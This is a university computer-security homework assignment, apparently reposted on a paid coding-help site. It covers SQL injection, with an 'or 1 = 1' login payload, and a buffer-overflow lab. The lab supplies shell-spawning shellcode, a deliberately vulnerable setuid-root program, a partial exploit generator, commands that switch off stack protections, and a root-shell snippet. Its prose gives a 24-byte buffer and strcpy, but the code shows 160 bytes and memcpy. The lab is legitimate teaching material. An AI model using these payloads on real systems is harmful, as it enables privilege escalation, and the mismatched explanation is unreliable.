联系方式

  • QQ:99515681
  • 邮箱:99515681@qq.com
  • 工作时间:8:00-21:00
  • 微信:codinghelp

您当前位置:首页 >> Database作业Database作业

日期:2020-04-20 11:09

CS574 Computer Security

Homework Assignment #4

Due: April 25, 2020 11:59 PM

? Please type the solutions using a word processor such as MS Word, Latex, or write by hand

neatly and upload the scanned copy of it.

? Turn in your assignment through blackboard.

? If you are uploading images or scanned copies of your homework please make sure the image

is clear enough to read and the questions are numbered properly and are in order.

1. What are SQL Injection Attacks?

a. List down the steps involved to carry out such attacks.

b. The following figure shows a fragment of code that implements the login functionality

for a database application. The code dynamically builds an SQL query and submits it

to a database.

i. Suppose a user submits login, password, and pin as doe, secret, and 123. Show

the SQL query that is generated.

ii. Instead, the user submits for the login field the following: “or 1 = 1 - -” What

is the effect?


2. a. What type of access control model do Unix and Linux systems implement?

b. Some have argued that Unix/Linux systems reuse a small number of security features in

many contexts across the system, while Windows systems provide a much larger number

of more specifically targeted security features used in the appropriate contexts. This may

be seen as a trade-off between simplicity and lack of flexibility in the Unix/Linux

approach, against a better targeted but more complex and harder to correctly configure

approach in Windows. Discuss this trade-off as it impacts on the security of these

respective systems, and the load placed on administrators in managing their security.

3. What types of databases are more vulnerable to SQL injections? What can you do to harden

them to this type of attack?

4. What is buffer overflow? How can one defend against buffer overflow attacks? Give 5

functions that are susceptible to buffer overflow in C language.

5. What are the basic steps needed to secure the base operating system? List the pros and cons of

automated patching.

INSTRUCTIONS ON SOLVING QUESTION 6

Below you will find the document for question 6. The document is lengthy, but please read and

understand it completely before you begin your coding. It also has instructions for the softwares that

you will require to execute the assignment.

Question 6

Buffer-overflow is defined as a state where a program attempts to write data beyond the

boundaries of a pre-allocated, fixed-length buffer. This vulnerability can cause unexpected

behavior and allows an attacker to alter the flow control of the program, perhaps even

allowing for the execution of the attacker’s code. This vulnerability arises due to the mixing

of storage for data (e.g. buffers) with storage for program execution controls (e.g. return

addresses). An overflow in the data part can affect the control flow of the program when the

buffer overflow changes the return address.

In this assignment, you are given a program with buffer overflow vulnerability. Your task is

to develop a scheme to exploit the vulnerability and gain root privileges. In addition to the

attacks, you will be exposed to several protection schemes that have been implemented in

operating systems to counter buffer-overflow attacks. You will evaluate whether the schemes

work or not and explain why.

Initial setup:

You will need to install Ubuntu (version 12.04) Virtual Machine using VMWare to execute

this assignment.

Address Space Randomization.

Several Linux distributions, including Ubuntu, use address space randomization to vary the

starting address of the heap and stack. This makes guessing the addresses needed difficult.

Guessing addresses is one of the critical steps in a successful buffer-overflow attack. For this

lab you will need to disable these features using the following commands:

$ su root

Password: <enter root password>

# sysctl -w kernel.randomize_va_space=0

The Stack Guard Protection Scheme.

The GCC compiler implements a security mechanism called ”Stack Guard” to prevent buffer

overflows. In the presence of this protection, buffer overflow will not work. You can disable

this protection if you compile the program using the -fno-stack-protector switch. For

example, to compile a program example.c with Stack Guard disabled, you would use the

following command:

$ gcc -fno-stack-protector example.c

Non-Executable Stack.

Many Linux distributions used to allow executable stacks, but this default behaviour has been

changed. Binary images of programs (and shared libraries) indicate whether they require

executable stacks or not by marking a field in the process control block header. The kernel or

dynamic linker use this marking to decide whether to make the stack of the process

executable or not. The recent versions of gcc set this by default during compilation, so the

stack is marked as non-executable. The compiler option to control whether the stack is

executable is:

For executable stack:

$ gcc -z execstack -o test test.c

And for a non-executable stack:

$ gcc -z noexecstack -o test test.c

Shellcode

Before you start your attack, you need a shellcode. A shellcode is code that is put into the

buffer to launch a shell. It has to be loaded in memory so we can force the vulnerable

program to execute it. Consider the following program:

#include <stdio.h>

int main( ) {

char *name[2];

name[0] = ‘‘/bin/sh’’;

name[1] = NULL;

execve(name[0], name, NULL);

}

The shellcode you will use is the assembly version of this program. The following program

demonstrates how to launch a shell by executing a shellcode stored in a buffer. Please

compile and run the following code, and see whether a shell is invoked (note: this has been

problematic in the past).

/* call_shellcode.c */

/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

const char code[] =

"\x31\xc0" /* Line 1: xorl %eax,%eax */

"\x50" /* Line 2: pushl %eax */

"\x68""//sh" /* Line 3: pushl $0x68732f2f */

"\x68""/bin" /* Line 4: pushl $0x6e69622f */

"\x89\xe3" /* Line 5: movl %esp,%ebx */

"\x50" /* Line 6: pushl %eax */

"\x53" /* Line 7: pushl %ebx */

"\x89\xe1" /* Line 8: movl %esp,%ecx */

"\x99" /* Line 9: cdq */

"\xb0\x0b" /* Line 10: movb $0x0b,%al */

"\xcd\x80" /* Line 11: int $0x80 */

;

int main(int argc, char **argv)

{

char buf[sizeof(code)];

strcpy(buf, code);

((void(*)( ))buf)( );

}

Use the following command to compile the code (don’t forget the execstack option):

$ gcc -z execstack -fno-stack-protector -o call_shellcode call_shellcode.c

A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”,

rather than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has

only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash

symbol. Second, before calling the execve() system call, we need to store name[0] (the

address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx

registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets

%edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq)

used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX

register (which is 0 at this point) into every bit position in the EDX register, basically setting

%edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int

$0x80”.

The Vulnerable Program

/* stack.c */

/* This program has a buffer overflow vulnerability.

* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str, int num)

{

char buffer[160];

int i;

/* You can uncomment the following line to help determine the

stack location for your return address - see Aleph One */

printf(" address of buffer: %p\n",buffer);

/* The following statement has a buffer overflow problem */

memcpy((void *) buffer, (void *) str, num);

return 1;

}

int main(int argc, char **argv)

{

size_t numread;

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

numread = fread(str, sizeof(char), 517, badfile);

bof(str, (int) numread);

printf("Returned Properly\n");

return 1;

}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by

compiling it in the root account, and chmod the executable to 4755 (don’t forget to include the

execstack and -fno-stack-protector options to turn off the non-executable stack and

StackGuard protections):

$ su root

Password (enter root password)

# gcc -o stack -z execstack -fno-stack-protector stack.c

# chmod 4755 stack

# exit

The above program has a buffer overflow vulnerability. It first reads an input from a file

called “badfile”, and then passes this input to another buffer in the function bof(). The

original input can have a maximum length of 517 bytes, but the buffer in bof() is only 24

bytes long. Because strcpy() does not check boundaries, buffer overflow will occur. Since

this program is a set-root-uid program, if a normal user can exploit this buffer overflow

vulnerability, the normal user might be able to get a root shell. It should be noted that the

program gets its input from a file called “badfile”. This file is under users’ control. Now, our

objective is to create the contents for “badfile”, such that when the vulnerable program copies

the contents into its buffer, a root shell can be spawned.

Task 1: Exploiting the Vulnerability

Below is the partially completed exploit code called “exploit.c”. The goal of this code is to

construct contents for “badfile”. In this code, the shellcode is given to you. You need to

develop the rest.

/* exploit.c */

/* A program that creates a file containing code for launching shell.

* Arguments are optional. If one argument is provided it is used to

* set the size of the buffer used in the buffer overflow, the default is

* 300 bytes. The second argument, if included, indicates an offset from

* the start of the stack for the address to use as the return address

* once the shell code is injected. I used this buffer size and an offset

* value between 500 and 600 bytes.

*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFERSZ 300

#define NOP 0x90

char shellcode[]=

"\xeb\x12" /* jmp 11 - to the e8 f0 ff ff ff */

"\x5b" /* pop %ebx */

"\x31\xc0" /* xor %eax, %eax */

"\xb0\x0b" /* mov $0xb, %al */

"\x31\xc9" /* xor %ecx, %ecx */

"\x31\xd2" /* xor %edx, %edx */

"\xcd\x80" /* int $0x80 -exevce /bin/bash */

"\x31\xdb" /* xor %ebx, %ebx */

"\x89\xd8" /* mov %ebx, %eax */

"\x40" /* inc %eax */

"\xcd\x80" /* int $0x80 - execve exit */

"\xe8\xe9\xff\xff\xff" /* call -18 */

"/bin/sh\x00" /* /bin/sh */

;

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFERSZ;

FILE *badfile;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can’t allocate memory buffer.\n");

exit(0);

}

printf("Stack start address: 0x%x\n", get_sp());

addr = get_sp() - offset;

printf("Using address: 0x%x\n", addr); /* estimate of shell code location */

ptr = buff;

addr_ptr = (long *) ptr;

/* Fill buffer with the approximate address of the shellcode */

/* Initialize start of buffer with 0x90 (NOP instruction) (I did 1/4 of the buffer) /* Now

place the shell code into the buffer (note your NOP slide) */

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buff, bsize, 1, badfile);

fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for

“badfile”. Then run the vulnerable program stack. If your exploit is implemented correctly,

you should be able to get a root shell. You will need to try different values for the offset from

the stack start address (see the comments in the exploit.c file).

Important:

Please compile your vulnerable program first. Please note that the program exploit.c, which

generates the bad file, can be compiled with the default Stack Guard protection enabled. This

is because we are not going to overflow the buffer in this program. We will be overflowing

the buffer in stack.c, which is compiled with the Stack Guard protection disabled.

$ gcc -o exploit exploit.c

$./exploit 300 300 // create the badfile - use different values

$./stack // launch the attack

# <---- Bingo! You’ve got a root shell!

It should be noted that although you have obtained the “#” prompt, your real user id is still

yourself (the effective user id is now root). You can check this by typing the following:

# id

uid=(500) . . . euid=0(root) . . .

Many commands will behave differently if they are executed as Set-UID root processes,

instead of just as root processes, because they recognize that the real user id is not root. To

solve this problem, you can run the following program to turn the real user id to root. This

way, you will have a real root process, which is more powerful.

void main()

{

setuid(0); system("/bin/sh");

}

Turn in your exploit.c file and a capture your session using the script command. This

command captures all your typing and the computer responses. For more information see the

man page for script.

Task 2: Address Randomization

Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in

Task 1. Can you get a shell? If not, what is the problem? How does the address

randomization make your attacks difficult? You should describe your observation and

explanation in your lab report. You can use the following

instructions to turn on the address randomization:

$ su root

Password: (enter root password)

# /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for

many times? You can run ./stack in a loop and see what happens. If your exploit program is

designed properly, you should be able to get a root shell eventually. You can modify your

exploit program to increase the probability of success (i.e., reduce the time that you have to

wait). Run the exploit a minimum of 100 times. Do you get a root shell?

$ for counter in {1..100}; do ./stack; done

Capture your session using the script command and turn the resulting file in.

Task 3: Stack Guard

Before working on this task, remember to turn off the address randomization first, or you will

not know which protection is affecting your lab.

In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when

compiling the programs. In this task, you may consider repeating task 1 in the presence of

Stack Guard. To do that, you should compile the program without the -fno-stack-protector’

option. Recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1

again, and turn in a capture of your session and report your observations. You may report any

error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have

to disable Stack Guard using the switch mentioned before. In earlier versions, it was disabled

by default. If you use older GCC version, you may not have to disable Stack Guard.

Task 4: Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will

not know which protection might be preventing your attack from working. In our previous

tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable

program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If

not, what is the problem? How does this protection scheme make your attacks difficult. You

should describe your observation and explanation in your lab report. You can use the

following instructions to turn on the nonexecutable stack protection.

# gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the

stack, but it does not prevent buffer-overflow attacks, because there are other ways to run

malicious code after exploiting a buffer-overflow vulnerability.

Using the Ubuntu 12.04 VM, the non-executable stack protection works or not depending on

the CPU and the setting of your virtual machine, because this protection depends on the

hardware feature provided by the CPU. If you find that the non-executable stack protection

does not work you may need to figure out the problem causing it. Do not spend more

than 1 hour attempting to solve this problem. Turn in your solution or the steps you have

taken that did not work.


版权所有:编程辅导网 2021 All Rights Reserved 联系方式:QQ:99515681 微信:codinghelp 电子信箱:99515681@qq.com
免责声明:本站部分内容从网络整理而来,只供参考!如有版权问题可联系本站删除。 站长地图

python代写
微信客服:codinghelp